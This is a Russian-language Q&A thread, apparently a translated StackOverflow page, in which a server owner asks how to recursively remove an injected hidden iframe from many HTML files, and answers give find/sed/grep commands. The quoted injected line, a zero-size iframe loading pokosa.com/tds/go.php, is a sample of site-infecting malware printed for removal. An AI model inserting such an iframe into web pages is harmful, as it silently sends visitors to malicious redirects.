Мне нужно удалить строку из нескольких файлов - PullRequest
2 голосов
/ 07 февраля 2012

Вредоносная программа атаковала мой сервер и добавила строку

<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>

ко многим моим страницам

как я могу удалить его с помощью grep или, если есть другой способ, я могу удалить его из всех файлов, на которые он воздействовал

Edit: я видел комментарии об использовании sed, но мне нужно рекурсивное решение, если оно есть

спасибо

Ответы [ 3 ]

4 голосов
/ 07 февраля 2012

Вы можете использовать find и sed для рекурсивного поиска всех интересующих файлов и удаления из них ошибочной строки.

Например, следующая команда удалит поврежденную строку из всех файлов .html из текущего каталога и всех его подкаталогов.

find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \;
3 голосов
/ 07 февраля 2012

Вы можете использовать sed для замены файлов.Что-то вроде

$ sed -i.bak 's|<iframe src="http://pokosa.com.*</iframe>||' your-file

должно сделать это для одного файла.Люди традиционно используют / в качестве разделителя, но это становится громоздким, когда у вас много / в строке поиска.Использование | тогда проще.

Объедините sed с find и xargs, чтобы сделать то же самое для нескольких файлов:

$ find /var/www -name "*.html" -print0 | xargs -0 sed -i.bak 's|<iframe ...>||'
2 голосов
/ 07 февраля 2012

Самый простой подход, вероятно, был бы с инвертированным grep:

$ grep -v pokosa < input > output

Возможно, вы захотите сделать вывод таким же, как ввод с некоторым дополнительным суффиксом, а затем выполните несколько diff: s для проверкичто он делает правильные вещи, прежде чем переименовывать поверх входных файлов.

...